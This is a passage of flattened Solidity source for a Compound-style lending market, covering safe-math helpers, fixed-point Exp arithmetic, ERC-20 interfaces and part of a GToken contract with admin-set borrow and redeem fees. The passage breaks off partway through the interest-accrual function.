* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
// File: contracts/Exponential.sol
pragma solidity 0.5.17;
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
// File: contracts/EIP20Interface.sol
pragma solidity 0.5.17;
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// File: contracts/EIP20NonStandardInterface.sol
pragma solidity 0.5.17;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// File: contracts/GToken.sol
pragma solidity 0.5.17;
/**
* @title GToken Contract
* @notice Abstract base for CTokens
*/
contract GToken is GTokenInterface, Exponential, TokenErrorReporter {
bytes32 internal constant projectHash = keccak256(abi.encodePacked("ZILD"));
/**
* @notice Underlying asset for this GToken
*/
address public underlying;
/**
* @notice , ETH is native coin
*/
bool public underlyingIsNativeCoin;
// borrow fee amount * borrowFee / 10000;
uint public borrowFee;
// redeem fee amount = redeem amount * redeemFee / 10000;
uint public redeemFee;
uint public constant TEN_THOUSAND = 10000;
// max fee borrow redeem fee : 1%
uint public constant MAX_BORROW_REDEEM_FEE = 100;
// borrow fee and redeemFee will send to feeTo
address payable public feeTo;
event NewBorrowFee(uint oldBorrowFee, uint newBorrowFee);
event NewRedeemFee(uint oldRedeemFee, uint newRedeemFee);
event NewFeeTo(address oldFeeTo, address newFeeTo);
/**
* @notice Initialize the money market
* @param underlying_ Underlying asset for this GToken, ZETH's underlying is address(0)
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
* @param borrowFee_ borrow fee
* @param redeemFee_ redeem fee
* @param feeTo_ fee address
*/
function initialize(address underlying_,
ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_, uint borrowFee_, uint redeemFee_, address payable feeTo_) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the comptroller
uint err = _setComptroller(comptroller_);
require(err == uint(Error.NO_ERROR), "setting comptroller failed");
// Initialize block number and borrow index (block number mocks depend on comptroller being set)
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block number / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
_setBorrowFee(borrowFee_);
_setRedeemFee(redeemFee_);
_setFeeTo(feeTo_);
name = name_;
symbol = symbol_;
decimals = decimals_;
underlying = underlying_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice .
* @dev Admin function: change borrowFee.
* @param newBorrowFee newBorrowFee
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setBorrowFee(uint newBorrowFee) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
require(newBorrowFee <= MAX_BORROW_REDEEM_FEE, "newBorrowFee is greater than MAX_BORROW_REDEEM_FEE");
emit NewBorrowFee(borrowFee, newBorrowFee);
borrowFee = newBorrowFee;
return uint(Error.NO_ERROR);
}
/**
* @notice .
* @dev Admin function: change redeemFee.
* @param newRedeemFee newRedeemFee
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setRedeemFee(uint newRedeemFee) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
require(newRedeemFee <= MAX_BORROW_REDEEM_FEE, "newRedeemFee is greater than MAX_BORROW_REDEEM_FEE");
emit NewBorrowFee(redeemFee, newRedeemFee);
redeemFee = newRedeemFee;
return uint(Error.NO_ERROR);
}
/**
* @notice .
* @dev Admin function: change feeTo.
* @param newFeeTo newFeeTo
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setFeeTo(address payable newFeeTo) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
require(newFeeTo != address(0), "newFeeTo is zero address");
emit NewFeeTo(feeTo, newFeeTo);
feeTo = newFeeTo;
return uint(Error.NO_ERROR);
}
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
/* Fail if transfer not allowed */
uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
}
/* Do not allow self-transfers */
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
/* Get the allowance, infinite for the account owner */
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
/* Do the calculations, checking for {under,over}flow */
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
comptroller.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR, "balance could not be calculated");
return balance;
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by comptroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
uint cTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @notice Returns the current per-block borrow interest rate for this gToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external view returns (uint) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-block supply interest rate for this gToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external view returns (uint) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return (error code, the calculated balance or 0 if error code is non-zero)
*/
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
/* Note: we do not assert that the market is up to date */
MathError mathErr;
uint principalTimesIndex;
uint result;
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the GToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
/**
* @notice Calculates the exchange rate from the underlying to the GToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return (error code, calculated exchange rate scaled by 1e18)
*/
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
/**
* @notice Get cash balance of this gToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external view returns (uint) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() public returns (uint) {
/* Remember the initial block number */
uint currentBlockNumber = getBlockNumber();
uint accrualBlockNumberPrior = accrualBlockNumber;
/* Short-circuit accumulating 0 interest */
if (accrualBlockNumberPrior == currentBlockNumber) {
return uint(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of blocks elapsed since the last accrual */
(MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
require(mathErr == MathError.NO_ERROR, "could not calculate block delta");
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
